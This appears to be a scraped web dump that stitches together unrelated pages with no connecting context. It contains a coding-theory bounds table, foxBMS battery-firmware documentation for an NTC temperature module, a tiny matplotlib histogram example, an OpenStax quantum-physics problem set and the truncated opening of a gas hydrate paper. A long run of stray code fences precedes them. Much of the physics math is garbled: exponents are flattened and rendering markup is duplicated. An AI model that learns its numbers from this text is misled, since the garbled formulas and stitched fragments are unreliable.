```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`\n\n```\n\n```\n`\t`" ]
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http://www.codetables.de/BKLC/BKLC.php?q=3&n=24&k=8
[ "## Bounds on the minimum distance of linear codes\n\n### Bounds on linear codes [24,8] over GF(3)\n\n lower bound: 11 upper bound: 11\n\n### Construction\n\n```Construction of a linear code [24,8,11] over GF(3):\n: [28, 8, 15] Constacyclic by 2 Linear Code over GF(3)\nConstaCyclicCode generated by x^20 + 2*x^19 + x^18 + x^17 + x^14 + x^13 + x^12 + 2*x^10 + x^8 + 2*x^7 + x^6 + 2*x^3 + x^2 + x + 1 with shift constant 2\n: [24, 8, 11] Linear Code over GF(3)\nPuncturing of at { 25 .. 28 }\n\n```\n\n### From Brouwer's table (as of 2007-02-13)\n\n```Lb(24,8) = 11 is found by truncation of:\nLb(28,8) = 15 NBC\n\nUb(24,8) = 11 BS\n```\nBS:\n\nNBC:\n\n### Notes\n\n• All codes establishing the lower bounds were constructed using MAGMA.\n• Upper bounds are taken from the tables of Andries E. Brouwer, with the exception of codes over GF(7) with n>50. For most of these codes, the upper bounds are rather weak. Upper bounds for codes over GF(7) with small dimension have been provided by Rumen Daskalov.\n• Special thanks to John Cannon for his support in this project.\n• A prototype version of MAGMA's code database over GF(2) was written by Tat Chan in 1999 and extended later that year by Damien Fisher. The current release version was developed by Greg White over the period 2001-2006.\n• Thanks also to Allan Steel for his MAGMA support.\n• My apologies to all authors that have contributed codes to this table for not giving specific credits.\n\n• If you have found any code improving the bounds or some errors, please send me an e-mail:\ncodes [at] codetables.de\n\nHomepage | New Query | Contact" ]
[ null ]
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https://iisb-foxbms.iisb.fraunhofer.de/foxbms/docs/latest/_static/doxygen/tests/html/beta_8c.html
[ "", null, "foxBMS - Unit Tests  1.3.0 The foxBMS Unit Tests API Documentation\nbeta.c File Reference\n\nResistive divider used for measuring temperature. More...\n\n`#include \"beta.h\"`\n`#include \"foxmath.h\"`\nInclude dependency graph for beta.c:", null, "Go to the source code of this file.\n\n## Macros\n\n#define BETA_KELVIN   (273.15f)\n\n#define BETA_ADC_VOLTAGE_V_MAX_V    (float)((BETA_RESISTOR_DIVIDER_SUPPLY_VOLTAGE_V * BETA_ResistanceFromTemperature(1400)) / (BETA_ResistanceFromTemperature(1400) + BETA_RESISTOR_DIVIDER_RESISTANCE_R_1_R_2_Ohm))\n\n#define BETA_ADC_VOLTAGE_V_MIN_V    (float)((BETA_RESISTOR_DIVIDER_SUPPLY_VOLTAGE_V * BETA_ResistanceFromTemperature(-400)) / (BETA_ResistanceFromTemperature(-400) + BETA_RESISTOR_DIVIDER_RESISTANCE_R_1_R_2_Ohm))\n\n## Functions\n\nreturns temperature based on measured ADC voltage More...\n\nint16_t BETA_TemperatureFromResistance (float resistance_Ohm)\nreturns temperature corresponding to NTC resistance More...\n\nfloat BETA_ResistanceFromTemperature (int16_t temperature_ddegC)\nreturns NTC resistance corresponding to temperature, used to compute Vmin and Vmax of the divider More...\n\n## Detailed Description\n\nResistive divider used for measuring temperature.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nWe kindly request you to use one or more of the following phrases to refer to foxBMS in your hardware, software, documentation or advertising materials:\n\n• ″This product uses parts of foxBMS®″\n• ″This product includes parts of foxBMS®″\n• ″This product is derived from foxBMS®″\nDate\nUpdated\n2022-05-30 (date of last update)\nVersion\nv1.3.0\nPrefix\nBETA\n\nDefinition in file beta.c.\n\n## Macro Definition Documentation\n\n #define BETA_ADC_VOLTAGE_V_MAX_V    (float)((BETA_RESISTOR_DIVIDER_SUPPLY_VOLTAGE_V * BETA_ResistanceFromTemperature(1400)) / (BETA_ResistanceFromTemperature(1400) + BETA_RESISTOR_DIVIDER_RESISTANCE_R_1_R_2_Ohm))\n\nDefines for calculating the ADC voltage on the ends of the operating range. The ADC voltage is calculated with the following formula:\n\nV_adc = ( ( V_supply * R_ntc ) / ( R + R_ntc ) )\n\nDepending on the position of the NTC in the voltage resistor (R_1/R_2), different R_ntc values are used for the calculation.\n\nDefinition at line 78 of file beta.c.\n\n #define BETA_ADC_VOLTAGE_V_MIN_V    (float)((BETA_RESISTOR_DIVIDER_SUPPLY_VOLTAGE_V * BETA_ResistanceFromTemperature(-400)) / (BETA_ResistanceFromTemperature(-400) + BETA_RESISTOR_DIVIDER_RESISTANCE_R_1_R_2_Ohm))\n\nDefines for calculating the ADC voltage on the ends of the operating range. The ADC voltage is calculated with the following formula:\n\nV_adc = ( ( V_supply * R_ntc ) / ( R + R_ntc ) )\n\nDepending on the position of the NTC in the voltage resistor (R_1/R_2), different R_ntc values are used for the calculation.\n\nDefinition at line 80 of file beta.c.\n\n## ◆ BETA_KELVIN\n\n #define BETA_KELVIN   (273.15f)\n\ninverse temperature coefficient for ideal gas\n\nDefinition at line 63 of file beta.c.\n\n## ◆ BETA_GetTemperatureFromBeta()\n\n int16_t BETA_GetTemperatureFromBeta ( uint16_t adcVoltage_mV )\n\nreturns temperature based on measured ADC voltage\n\nParameters\nReturns\ncorresponding temperature in deci °C or FLT_MAX/FLT_MIN if NTC is shorted or got disconnected. The caller of this functions needs to check for these return values to prevent invalid data.\n\nDefinition at line 96 of file beta.c.\n\nHere is the call graph for this function:", null, "## ◆ BETA_ResistanceFromTemperature()\n\n float BETA_ResistanceFromTemperature ( int16_t temperature_ddegC )\n\nreturns NTC resistance corresponding to temperature, used to compute Vmin and Vmax of the divider\n\nParameters\n temperature_ddegC in deci °C\nReturns\ncorresponding resistance in Ohm\n\nDefinition at line 141 of file beta.c.\n\n## ◆ BETA_TemperatureFromResistance()\n\n int16_t BETA_TemperatureFromResistance ( float resistance_Ohm )\n\nreturns temperature corresponding to NTC resistance\n\nParameters\n resistance_Ohm resistance in Ohm\nReturns\ncorresponding temperature in deci °C\n\nDefinition at line 127 of file beta.c." ]
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https://www.programtips.org/python/matplotlib/how-to-display-data-set-using-a-histogram-in-python/
[ "# How to Display Data Set Using a Histogram in Python\n\nIn this example, we will learn how to create the data set as big as you want and display them using a histogram in Python.\n\n### Source Code\n\n``````import numpy\nimport matplotlib.pyplot as plt\n\na = numpy.random.uniform(0.0, 10.0, 1000000)\nplt.hist(a, 100)\nplt.show()\n``````\n\nOutput:\n\nSubscribe\nNotify of", null, "" ]
[ null, "https://secure.gravatar.com/avatar/", null ]
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https://openstax.org/books/college-physics-ap-courses/pages/29-problems-exercises
[ "Skip to ContentGo to accessibility page", null, "College Physics for AP® Courses\n\n# Problems & Exercises\n\n### 29.1Quantization of Energy\n\n1.\n\nA LiBr molecule oscillates with a frequency of $1.7×1013 Hz.1.7×1013 Hz. size 12{1 \".\" 7 times \"10\" rSup { size 8{\"13\"} } \" Hz\"} {}$ (a) What is the difference in energy in eV between allowed oscillator states? (b) What is the approximate value of $nn size 12{n} {}$ for a state having an energy of 1.0 eV?\n\n2.\n\nThe difference in energy between allowed oscillator states in HBr molecules is 0.330 eV. What is the oscillation frequency of this molecule?\n\n3.\n\nA physicist is watching a 15-kg orangutan at a zoo swing lazily in a tire at the end of a rope. He (the physicist) notices that each oscillation takes 3.00 s and hypothesizes that the energy is quantized. (a) What is the difference in energy in joules between allowed oscillator states? (b) What is the value of $nn size 12{n} {}$ for a state where the energy is 5.00 J? (c) Can the quantization be observed?\n\n### 29.2The Photoelectric Effect\n\n4.\n\nWhat is the longest-wavelength EM radiation that can eject a photoelectron from silver, given that the binding energy is 4.73 eV? Is this in the visible range?\n\n5.\n\nFind the longest-wavelength photon that can eject an electron from potassium, given that the binding energy is 2.24 eV. Is this visible EM radiation?\n\n6.\n\nWhat is the binding energy in eV of electrons in magnesium, if the longest-wavelength photon that can eject electrons is 337 nm?\n\n7.\n\nCalculate the binding energy in eV of electrons in aluminum, if the longest-wavelength photon that can eject them is 304 nm.\n\n8.\n\nWhat is the maximum kinetic energy in eV of electrons ejected from sodium metal by 450-nm EM radiation, given that the binding energy is 2.28 eV?\n\n9.\n\nUV radiation having a wavelength of 120 nm falls on gold metal, to which electrons are bound by 4.82 eV. What is the maximum kinetic energy of the ejected photoelectrons?\n\n10.\n\nViolet light of wavelength 400 nm ejects electrons with a maximum kinetic energy of 0.860 eV from sodium metal. What is the binding energy of electrons to sodium metal?\n\n11.\n\nUV radiation having a 300-nm wavelength falls on uranium metal, ejecting 0.500-eV electrons. What is the binding energy of electrons to uranium metal?\n\n12.\n\nWhat is the wavelength of EM radiation that ejects 2.00-eV electrons from calcium metal, given that the binding energy is 2.71 eV? What type of EM radiation is this?\n\n13.\n\nFind the wavelength of photons that eject 0.100-eV electrons from potassium, given that the binding energy is 2.24 eV. Are these photons visible?\n\n14.\n\nWhat is the maximum velocity of electrons ejected from a material by 80-nm photons, if they are bound to the material by 4.73 eV?\n\n15.\n\nPhotoelectrons from a material with a binding energy of 2.71 eV are ejected by 420-nm photons. Once ejected, how long does it take these electrons to travel 2.50 cm to a detection device?\n\n16.\n\nA laser with a power output of 2.00 mW at a wavelength of 400 nm is projected onto calcium metal. (a) How many electrons per second are ejected? (b) What power is carried away by the electrons, given that the binding energy is 2.71 eV?\n\n17.\n\n(a) Calculate the number of photoelectrons per second ejected from a 1.00-mm 2 area of sodium metal by 500-nm EM radiation having an intensity of $1.30 kW/m21.30 kW/m2 size 12{1 \".\" \"30 kW/m\" rSup { size 8{2} } } {}$ (the intensity of sunlight above the Earth’s atmosphere). (b) Given that the binding energy is 2.28 eV, what power is carried away by the electrons? (c) The electrons carry away less power than brought in by the photons. Where does the other power go? How can it be recovered?\n\n18.\n\nUnreasonable Results\n\nRed light having a wavelength of 700 nm is projected onto magnesium metal to which electrons are bound by 3.68 eV. (a) Use $KE e=hf–BEKE e=hf–BE size 12{\"KE \"= ital \"hf\"\" – BE\"} {}$ to calculate the kinetic energy of the ejected electrons. (b) What is unreasonable about this result? (c) Which assumptions are unreasonable or inconsistent?\n\n19.\n\nUnreasonable Results\n\n(a) What is the binding energy of electrons to a material from which 4.00-eV electrons are ejected by 400-nm EM radiation? (b) What is unreasonable about this result? (c) Which assumptions are unreasonable or inconsistent?\n\n### 29.3Photon Energies and the Electromagnetic Spectrum\n\n20.\n\nWhat is the energy in joules and eV of a photon in a radio wave from an AM station that has a 1530-kHz broadcast frequency?\n\n21.\n\n(a) Find the energy in joules and eV of photons in radio waves from an FM station that has a 90.0-MHz broadcast frequency. (b) What does this imply about the number of photons per second that the radio station must broadcast?\n\n22.\n\nCalculate the frequency in hertz of a 1.00-MeV $γγ size 12{γ} {}$-ray photon.\n\n23.\n\n(a) What is the wavelength of a 1.00-eV photon? (b) Find its frequency in hertz. (c) Identify the type of EM radiation.\n\n24.\n\nDo the unit conversions necessary to show that $hc=1240 eV⋅nm,hc=1240 eV⋅nm, size 12{ ital \"hc\"=\"1240\"\" eV\" cdot \"nm\"} {}$ as stated in the text.\n\n25.\n\nConfirm the statement in the text that the range of photon energies for visible light is 1.63 to 3.26 eV, given that the range of visible wavelengths is 380 to 760 nm.\n\n26.\n\n(a) Calculate the energy in eV of an IR photon of frequency $2.00×1013 Hz.2.00×1013 Hz. size 12{2 \".\" \"00\" times \"10\" rSup { size 8{\"13\"} } \" Hz\"} {}$ (b) How many of these photons would need to be absorbed simultaneously by a tightly bound molecule to break it apart? (c) What is the energy in eV of a $γγ size 12{γ} {}$ ray of frequency $3.00×1020 Hz?3.00×1020 Hz? size 12{3 \".\" \"00\" times \"10\" rSup { size 8{\"20\"} } \" Hz\"} {}$ (d) How many tightly bound molecules could a single such $γγ size 12{γ} {}$ ray break apart?\n\n27.\n\nProve that, to three-digit accuracy, $h=4.14×10−15 eV⋅s,h=4.14×10−15 eV⋅s, size 12{h=4 \".\" \"14\" times \"10\" rSup { size 8{ - \"15\"} } \" eV\" cdot s} {}$ as stated in the text.\n\n28.\n\n(a) What is the maximum energy in eV of photons produced in a CRT using a 25.0-kV accelerating potential, such as a color TV? (b) What is their frequency?\n\n29.\n\nWhat is the accelerating voltage of an x-ray tube that produces x rays with a shortest wavelength of 0.0103 nm?\n\n30.\n\n(a) What is the ratio of power outputs by two microwave ovens having frequencies of 950 and 2560 MHz, if they emit the same number of photons per second? (b) What is the ratio of photons per second if they have the same power output?\n\n31.\n\nHow many photons per second are emitted by the antenna of a microwave oven, if its power output is 1.00 kW at a frequency of 2560 MHz?\n\n32.\n\nSome satellites use nuclear power. (a) If such a satellite emits a 1.00-W flux of $γγ size 12{γ} {}$ rays having an average energy of 0.500 MeV, how many are emitted per second? (b) These $γγ size 12{γ} {}$ rays affect other satellites. How far away must another satellite be to only receive one $γγ size 12{γ} {}$ ray per second per square meter?\n\n33.\n\n(a) If the power output of a 650-kHz radio station is 50.0 kW, how many photons per second are produced? (b) If the radio waves are broadcast uniformly in all directions, find the number of photons per second per square meter at a distance of 100 km. Assume no reflection from the ground or absorption by the air.\n\n34.\n\nHow many x-ray photons per second are created by an x-ray tube that produces a flux of x rays having a power of 1.00 W? Assume the average energy per photon is 75.0 keV.\n\n35.\n\n(a) How far away must you be from a 650-kHz radio station with power 50.0 kW for there to be only one photon per second per square meter? Assume no reflections or absorption, as if you were in deep outer space. (b) Discuss the implications for detecting intelligent life in other solar systems by detecting their radio broadcasts.\n\n36.\n\nAssuming that 10.0% of a 100-W light bulb’s energy output is in the visible range (typical for incandescent bulbs) with an average wavelength of 580 nm, and that the photons spread out uniformly and are not absorbed by the atmosphere, how far away would you be if 500 photons per second enter the 3.00-mm diameter pupil of your eye? (This number easily stimulates the retina.)\n\n37.\n\nConstruct Your Own Problem\n\nConsider a laser pen. Construct a problem in which you calculate the number of photons per second emitted by the pen. Among the things to be considered are the laser pen’s wavelength and power output. Your instructor may also wish for you to determine the minimum diffraction spreading in the beam and the number of photons per square centimeter the pen can project at some large distance. In this latter case, you will also need to consider the output size of the laser beam, the distance to the object being illuminated, and any absorption or scattering along the way.\n\n### 29.4Photon Momentum\n\n38.\n\n(a) Find the momentum of a 4.00-cm-wavelength microwave photon. (b) Discuss why you expect the answer to (a) to be very small.\n\n39.\n\n(a) What is the momentum of a 0.0100-nm-wavelength photon that could detect details of an atom? (b) What is its energy in MeV?\n\n40.\n\n(a) What is the wavelength of a photon that has a momentum of $5.00×10−29kg⋅m/s5.00×10−29kg⋅m/s size 12{5 \".\" \"00\" times \"10\" rSup { size 8{ - \"29\"} } \"kg\" cdot \"m/s\"} {}$? (b) Find its energy in eV.\n\n41.\n\n(a) A $γγ size 12{γ} {}$-ray photon has a momentum of $8.00×10−21kg⋅m/s8.00×10−21kg⋅m/s size 12{8 \".\" \"00\" times \"10\" rSup { size 8{ - \"21\"} } \"kg\" cdot \"m/s\"} {}$. What is its wavelength? (b) Calculate its energy in MeV.\n\n42.\n\n(a) Calculate the momentum of a photon having a wavelength of $2.50 μm2.50 μm size 12{2 \".\" \"50\"\" μm\"} {}$. (b) Find the velocity of an electron having the same momentum. (c) What is the kinetic energy of the electron, and how does it compare with that of the photon?\n\n43.\n\nRepeat the previous problem for a 10.0-nm-wavelength photon.\n\n44.\n\n(a) Calculate the wavelength of a photon that has the same momentum as a proton moving at 1.00% of the speed of light. (b) What is the energy of the photon in MeV? (c) What is the kinetic energy of the proton in MeV?\n\n45.\n\n(a) Find the momentum of a 100-keV x-ray photon. (b) Find the equivalent velocity of a neutron with the same momentum. (c) What is the neutron’s kinetic energy in keV?\n\n46.\n\nTake the ratio of relativistic rest energy, $E=γmc2E=γmc2mc2$, to relativistic momentum, $p=γmup=γmu size 12{p=γ ital \"mu\"} {}$, and show that in the limit that mass approaches zero, you find $E/p=cE/p=c size 12{E/p=c} {}$.\n\n47.\n\nConstruct Your Own Problem\n\nConsider a space sail such as mentioned in Example 29.5. Construct a problem in which you calculate the light pressure on the sail in $N/m2N/m2 size 12{\"N/m\" rSup { size 8{2} } } {}$ produced by reflecting sunlight. Also calculate the force that could be produced and how much effect that would have on a spacecraft. Among the things to be considered are the intensity of sunlight, its average wavelength, the number of photons per square meter this implies, the area of the space sail, and the mass of the system being accelerated.\n\n48.\n\nUnreasonable Results\n\nA car feels a small force due to the light it sends out from its headlights, equal to the momentum of the light divided by the time in which it is emitted. (a) Calculate the power of each headlight, if they exert a total force of $2.00×10−2 N2.00×10−2 N size 12{2 \".\" \"00\" times \"10\" rSup { size 8{ - 2} } \" N\"} {}$ backward on the car. (b) What is unreasonable about this result? (c) Which assumptions are unreasonable or inconsistent?\n\n### 29.6The Wave Nature of Matter\n\n49.\n\nAt what velocity will an electron have a wavelength of 1.00 m?\n\n50.\n\nWhat is the wavelength of an electron moving at 3.00% of the speed of light?\n\n51.\n\nAt what velocity does a proton have a 6.00-fm wavelength (about the size of a nucleus)? Assume the proton is nonrelativistic. (1 femtometer = $10−15m.10−15m. size 12{\"10\" rSup { size 8{ - \"15\"} } \" m\"} {}$)\n\n52.\n\nWhat is the velocity of a 0.400-kg billiard ball if its wavelength is 7.50 cm (large enough for it to interfere with other billiard balls)?\n\n53.\n\nFind the wavelength of a proton moving at 1.00% of the speed of light.\n\n54.\n\nExperiments are performed with ultracold neutrons having velocities as small as 1.00 m/s. (a) What is the wavelength of such a neutron? (b) What is its kinetic energy in eV?\n\n55.\n\n(a) Find the velocity of a neutron that has a 6.00-fm wavelength (about the size of a nucleus). Assume the neutron is nonrelativistic. (b) What is the neutron’s kinetic energy in MeV?\n\n56.\n\nWhat is the wavelength of an electron accelerated through a 30.0-kV potential, as in a TV tube?\n\n57.\n\nWhat is the kinetic energy of an electron in a TEM having a 0.0100-nm wavelength?\n\n58.\n\n(a) Calculate the velocity of an electron that has a wavelength of $1.00 μm.1.00 μm. size 12{1 \".\" \"00 μm\"} {}$ (b) Through what voltage must the electron be accelerated to have this velocity?\n\n59.\n\nThe velocity of a proton emerging from a Van de Graaff accelerator is 25.0% of the speed of light. (a) What is the proton’s wavelength? (b) What is its kinetic energy, assuming it is nonrelativistic? (c) What was the equivalent voltage through which it was accelerated?\n\n60.\n\nThe kinetic energy of an electron accelerated in an x-ray tube is 100 keV. Assuming it is nonrelativistic, what is its wavelength?\n\n61.\n\nUnreasonable Results\n\n(a) Assuming it is nonrelativistic, calculate the velocity of an electron with a 0.100-fm wavelength (small enough to detect details of a nucleus). (b) What is unreasonable about this result? (c) Which assumptions are unreasonable or inconsistent?\n\n### 29.7Probability: The Heisenberg Uncertainty Principle\n\n62.\n\n(a) If the position of an electron in a membrane is measured to an accuracy of $1.00 μm1.00 μm size 12{1 \".\" \"00 μm\"} {}$, what is the electron’s minimum uncertainty in velocity? (b) If the electron has this velocity, what is its kinetic energy in eV? (c) What are the implications of this energy, comparing it to typical molecular binding energies?\n\n63.\n\n(a) If the position of a chlorine ion in a membrane is measured to an accuracy of $1.00 μm1.00 μm size 12{1 \".\" \"00 μm\"} {}$, what is its minimum uncertainty in velocity, given its mass is $5.86×10−26 kg5.86×10−26 kg size 12{5 \".\" \"86\" times \"10\" rSup { size 8{ - \"26\"} } \" kg\"} {}$? (b) If the ion has this velocity, what is its kinetic energy in eV, and how does this compare with typical molecular binding energies?\n\n64.\n\nSuppose the velocity of an electron in an atom is known to an accuracy of $2.0×103 m/s2.0×103 m/s size 12{2 \".\" 0 times \"10\" rSup { size 8{3} } \" m/s\"} {}$ (reasonably accurate compared with orbital velocities). What is the electron’s minimum uncertainty in position, and how does this compare with the approximate 0.1-nm size of the atom?\n\n65.\n\nThe velocity of a proton in an accelerator is known to an accuracy of 0.250% of the speed of light. (This could be small compared with its velocity.) What is the smallest possible uncertainty in its position?\n\n66.\n\nA relatively long-lived excited state of an atom has a lifetime of 3.00 ms. What is the minimum uncertainty in its energy?\n\n67.\n\n(a) The lifetime of a highly unstable nucleus is $10−20 s10−20 s size 12{\"10\" rSup { size 8{ - \"20\"} } \" s\"} {}$. What is the smallest uncertainty in its decay energy? (b) Compare this with the rest energy of an electron.\n\n68.\n\nThe decay energy of a short-lived particle has an uncertainty of 1.0 MeV due to its short lifetime. What is the smallest lifetime it can have?\n\n69.\n\nThe decay energy of a short-lived nuclear excited state has an uncertainty of 2.0 eV due to its short lifetime. What is the smallest lifetime it can have?\n\n70.\n\nWhat is the approximate uncertainty in the mass of a muon, as determined from its decay lifetime?\n\n71.\n\nDerive the approximate form of Heisenberg’s uncertainty principle for energy and time, $ΔEΔt≈hΔEΔt≈h size 12{ΔE Δt approx h} {}$, using the following arguments: Since the position of a particle is uncertain by $Δx≈λΔx≈λ size 12{Δx approx λ} {}$, where $λλ size 12{λ} {}$ is the wavelength of the photon used to examine it, there is an uncertainty in the time the photon takes to traverse $ΔxΔx size 12{Δx} {}$. Furthermore, the photon has an energy related to its wavelength, and it can transfer some or all of this energy to the object being examined. Thus the uncertainty in the energy of the object is also related to $λλ size 12{λ} {}$. Find $ΔtΔt size 12{Δt} {}$ and $ΔEΔE size 12{ΔE} {}$; then multiply them to give the approximate uncertainty principle.\n\n### 29.8The Particle-Wave Duality Reviewed\n\n72.\n\nIntegrated Concepts\n\nThe 54.0-eV electron in Example 29.7 has a 0.167-nm wavelength. If such electrons are passed through a double slit and have their first maximum at an angle of $25.0º25.0º size 12{\"25\" \".\" 0°} {}$, what is the slit separation $dd size 12{d} {}$?\n\n73.\n\nIntegrated Concepts\n\nAn electron microscope produces electrons with a 2.00-pm wavelength. If these are passed through a 1.00-nm single slit, at what angle will the first diffraction minimum be found?\n\n74.\n\nIntegrated Concepts\n\nA certain heat lamp emits 200 W of mostly IR radiation averaging 1500 nm in wavelength. (a) What is the average photon energy in joules? (b) How many of these photons are required to increase the temperature of a person’s shoulder by $2.0ºC2.0ºC size 12{2 \".\" 0°C} {}$, assuming the affected mass is 4.0 kg with a specific heat of $0.83 kcal/kg⋅ºC0.83 kcal/kg⋅ºC size 12{0 \".\" \"83\"\" kcal/kg\" cdot °C} {}$. Also assume no other significant heat transfer. (c) How long does this take?\n\n75.\n\nIntegrated Concepts\n\nOn its high power setting, a microwave oven produces 900 W of 2560 MHz microwaves. (a) How many photons per second is this? (b) How many photons are required to increase the temperature of a 0.500-kg mass of pasta by $45.0ºC45.0ºC size 12{\"45\" \".\" 0°C} {}$, assuming a specific heat of $0.900 kcal/kg⋅ºC0.900 kcal/kg⋅ºC size 12{0 \".\" \"900\"\" kcal/kg\" cdot °C} {}$? Neglect all other heat transfer. (c) How long must the microwave operator wait for their pasta to be ready?\n\n76.\n\nIntegrated Concepts\n\n(a) Calculate the amount of microwave energy in joules needed to raise the temperature of 1.00 kg of soup from $20.0ºC20.0ºC size 12{\"20\" \".\" 0°C} {}$ to $100ºC100ºC size 12{\"100\"°C} {}$. (b) What is the total momentum of all the microwave photons it takes to do this? (c) Calculate the velocity of a 1.00-kg mass with the same momentum. (d) What is the kinetic energy of this mass?\n\n77.\n\nIntegrated Concepts\n\n(a) What is $γγ size 12{γ} {}$ for an electron emerging from the Stanford Linear Accelerator with a total energy of 50.0 GeV? (b) Find its momentum. (c) What is the electron’s wavelength?\n\n78.\n\nIntegrated Concepts\n\n(a) What is $γγ size 12{γ} {}$ for a proton having an energy of 1.00 TeV, produced by the Fermilab accelerator? (b) Find its momentum. (c) What is the proton’s wavelength?\n\n79.\n\nIntegrated Concepts\n\nAn electron microscope passes 1.00-pm-wavelength electrons through a circular aperture $2.00 μm2.00 μm size 12{2 \".\" \"00 μm\"} {}$ in diameter. What is the angle between two just-resolvable point sources for this microscope?\n\n80.\n\nIntegrated Concepts\n\n(a) Calculate the velocity of electrons that form the same pattern as 450-nm light when passed through a double slit. (b) Calculate the kinetic energy of each and compare them. (c) Would either be easier to generate than the other? Explain.\n\n81.\n\nIntegrated Concepts\n\n(a) What is the separation between double slits that produces a second-order minimum at $45.0º45.0º size 12{\"45\" \".\" 0°} {}$ for 650-nm light? (b) What slit separation is needed to produce the same pattern for 1.00-keV protons.\n\n82.\n\nIntegrated Concepts\n\nA laser with a power output of 2.00 mW at a wavelength of 400 nm is projected onto calcium metal. (a) How many electrons per second are ejected? (b) What power is carried away by the electrons, given that the binding energy is 2.71 eV? (c) Calculate the current of ejected electrons. (d) If the photoelectric material is electrically insulated and acts like a 2.00-pF capacitor, how long will current flow before the capacitor voltage stops it?\n\n83.\n\nIntegrated Concepts\n\nOne problem with x rays is that they are not sensed. Calculate the temperature increase of a researcher exposed in a few seconds to a nearly fatal accidental dose of x rays under the following conditions. The energy of the x-ray photons is 200 keV, and $4.00×10134.00×1013 size 12{4 \".\" \"00\" times \"10\" rSup { size 8{\"13\"} } } {}$ of them are absorbed per kilogram of tissue, the specific heat of which is $0.830 kcal/kg⋅ºC0.830 kcal/kg⋅ºC size 12{0 \".\" \"830\"\" kcal/kg\" cdot °C} {}$. (Note that medical diagnostic x-ray machines cannot produce an intensity this great.)\n\n84.\n\nIntegrated Concepts\n\nA 1.00-fm photon has a wavelength short enough to detect some information about nuclei. (a) What is the photon momentum? (b) What is its energy in joules and MeV? (c) What is the (relativistic) velocity of an electron with the same momentum? (d) Calculate the electron’s kinetic energy.\n\n85.\n\nIntegrated Concepts\n\nThe momentum of light is exactly reversed when reflected straight back from a mirror, assuming negligible recoil of the mirror. Thus the change in momentum is twice the photon momentum. Suppose light of intensity $1.00 kW/m21.00 kW/m2 size 12{1 \".\" \"00 kW/m\" rSup { size 8{2} } } {}$ reflects from a mirror of area $2.00 m22.00 m2 size 12{2 \".\" \"00 m\" rSup { size 8{2} } } {}$. (a) Calculate the energy reflected in 1.00 s. (b) What is the momentum imparted to the mirror? (c) Using the most general form of Newton’s second law, what is the force on the mirror? (d) Does the assumption of no mirror recoil seem reasonable?\n\n86.\n\nIntegrated Concepts\n\nSunlight above the Earth’s atmosphere has an intensity of $1.30 kW/m21.30 kW/m2 size 12{1 \".\" \"30\"\" kW/m\" rSup { size 8{2} } } {}$. If this is reflected straight back from a mirror that has only a small recoil, the light’s momentum is exactly reversed, giving the mirror twice the incident momentum. (a) Calculate the force per square meter of mirror. (b) Very low mass mirrors can be constructed in the near weightlessness of space, and attached to a spaceship to sail it. Once done, the average mass per square meter of the spaceship is 0.100 kg. Find the acceleration of the spaceship if all other forces are balanced. (c) How fast is it moving 24 hours later?\n\nOrder a print copy\n\nAs an Amazon Associate we earn from qualifying purchases.\n\nCitation/Attribution\n\nWant to cite, share, or modify this book? This book is Creative Commons Attribution License 4.0 and you must attribute OpenStax.\n\nAttribution information\n• If you are redistributing all or part of this book in a print format, then you must include on every physical page the following attribution:\nAccess for free at https://openstax.org/books/college-physics-ap-courses/pages/1-connection-for-ap-r-courses\n• If you are redistributing all or part of this book in a digital format, then you must include on every digital page view the following attribution:\nAccess for free at https://openstax.org/books/college-physics-ap-courses/pages/1-connection-for-ap-r-courses\nCitation information\n\n© Dec 16, 2020 OpenStax. Textbook content produced by OpenStax is licensed under a Creative Commons Attribution License 4.0 license. The OpenStax name, OpenStax logo, OpenStax book covers, OpenStax CNX name, and OpenStax CNX logo are not subject to the Creative Commons license and may not be reproduced without the prior and express written consent of Rice University." ]
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https://ogst.ifpenergiesnouvelles.fr/articles/ogst/full_html/2021/01/ogst210137/ogst210137.html
[ "Open Access\n Issue Oil Gas Sci. Technol. – Rev. IFP Energies nouvelles Volume 76, 2021 75 11 https://doi.org/10.2516/ogst/2021055 06 December 2021", null, "This is an Open Access article distributed under the terms of the Creative Commons Attribution License (https://creativecommons.org/licenses/by/4.0), which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.\n\nNomenclature\n\nλ2: The number of guest molecules per water molecule\n\nG: The guest species\n\nf: The fugacity of the guest species\n\nf0 : The fugacity of the guest molecule in equilibrium with the unfilled basic hydrate\n\nθ: The fraction of the linked cavities occupied by the guest molecules\n\nα: Fractional coefficient\n\nλ1: The number of linked cavities per water molecule\n\nC: The Langmuir constant\n\nX, Y, Z: Antoine constants for calculating the Langmuir constant\n\nT: Temperature\n\nf0(T): Temperature term of fugacity\n\nf0(P): Pressure term of fugacity\n\nf0(aw): Activity term of fugacity\n\nA′, B′, C′: Antoine constants for calculating f0(T)\n\nΒ: Structural 